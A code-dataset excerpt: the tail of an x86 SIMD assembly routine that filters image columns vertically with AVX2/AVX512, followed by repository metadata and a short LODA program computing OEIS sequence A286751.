x, y, cwidth, step, ptr, stride %else cglobal verti_slice, 6, 12, 9, 0-mmsize*2, buffer, width, height, cbegin, cend, \ steps, nu, bscale, x, y, cwidth, step, \ ptr, stride %endif %assign cols mmsize/4 %if WIN64 VBROADCASTSS m0, num VBROADCASTSS m1, bscalem DEFINE_ARGS buffer, width, height, cbegin, cend, \ steps, x, y, cwidth, step, ptr, stride %else VBROADCASTSS m0, xmm0 ; nu VBROADCASTSS m1, xmm1 ; bscale %endif MOVSXDIFNIDN width, height, cbegin, cend, steps mov cwidthq, cendq sub cwidthq, cbeginq lea strideq, [widthq * 4] xor xq, xq ; x = 0 cmp cwidthq, cols jl .x_scalar cmp cwidthq, 0x0 je .end_scalar sub cwidthq, cols .loop_x: xor stepq, stepq .loop_step: ; ptr = buffer + x + column_begin; lea ptrq, [xq + cbeginq] lea ptrq, [bufferq + ptrq*4] ; ptr[15:0] *= bcale; movu m2, [ptrq] mulps m2, m1 movu [ptrq], m2 ; Filter downwards mov yq, 1 .loop_y_down: add ptrq, strideq ; ptrq += width movu m3, [ptrq] FMULADD_PS m2, m2, m0, m3, m2 movu [ptrq], m2 inc yq cmp yq, heightq jl .loop_y_down mulps m2, m1 movu [ptrq], m2 ; Filter upwards dec yq .loop_y_up: sub ptrq, strideq movu m3, [ptrq] FMULADD_PS m2, m2, m0, m3, m2 movu [ptrq], m2 dec yq cmp yq, 0 jg .loop_y_up inc stepq cmp stepq, stepsq jl .loop_step add xq, cols cmp xq, cwidthq jle .loop_x add cwidthq, cols cmp xq, cwidthq jge .end_scalar .x_scalar: xor stepq, stepq mov qword [rsp + 0x10], xq sub cwidthq, xq mov xq, 1 shlx cwidthq, xq, cwidthq sub cwidthq, 1 PUSH_MASK m4, k1, cwidthd, xd, rsp + 0x20 mov xq, qword [rsp + 0x10] .loop_step_scalar: lea ptrq, [xq + cbeginq] lea ptrq, [bufferq + ptrq*4] VMASKMOVPS m2, [ptrq], m4, k1 mulps m2, m1 VMASKMOVPS [ptrq], m2, m4, k1 ; Filter downwards mov yq, 1 .x_scalar_loop_y_down: add ptrq, strideq VMASKMOVPS m3, [ptrq], m4, k1 FMULADD_PS m2, m2, m0, m3, m2 VMASKMOVPS [ptrq], m2, m4, k1 inc yq cmp yq, heightq jl .x_scalar_loop_y_down mulps m2, m1 VMASKMOVPS [ptrq], m2, m4, k1 ; Filter upwards dec yq .x_scalar_loop_y_up: sub ptrq, strideq VMASKMOVPS m3, [ptrq], m4, k1 FMULADD_PS m2, m2, m0, m3, m2 VMASKMOVPS [ptrq], m2, m4, k1 dec yq cmp yq, 0 jg .x_scalar_loop_y_up inc stepq cmp stepq, stepsq jl .loop_step_scalar .end_scalar: RET %endmacro %if ARCH_X86_64 %if HAVE_AVX2_EXTERNAL INIT_YMM avx2 VERTI_SLICE %endif %if HAVE_AVX512_EXTERNAL INIT_ZMM avx512 VERTI_SLICE %endif %endif
24.943775
95
0.532201
0ee14e820b0c31ad1ab1861376d2132e70f1d599
490
asm
Assembly
programs/oeis/286/A286751.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/286/A286751.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/286/A286751.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A286751: Positions of 1 in A286749; complement of A286750. ; 1,2,5,6,7,10,11,14,15,16,19,20,21,24,25,28,29,30,33,34,37,38,39,42,43,44,47,48,51,52,53,56,57,58,61,62,65,66,67,70,71,74,75,76,79,80,81,84,85,88,89,90,93,94,97,98,99,102,103,104,107,108,111,112,113,116,117,118,121,122,125,126,127,130,131,134,135,136,139,140,141,144,145,148,149,150,153,154,155,158,159,162,163,164,167,168,171,172,173,176 add $0,1 mov $1,$0 seq $1,189663 ; Partial sums of A189661. sub $1,1 mul $1,2 add $0,$1
49
339
0.693878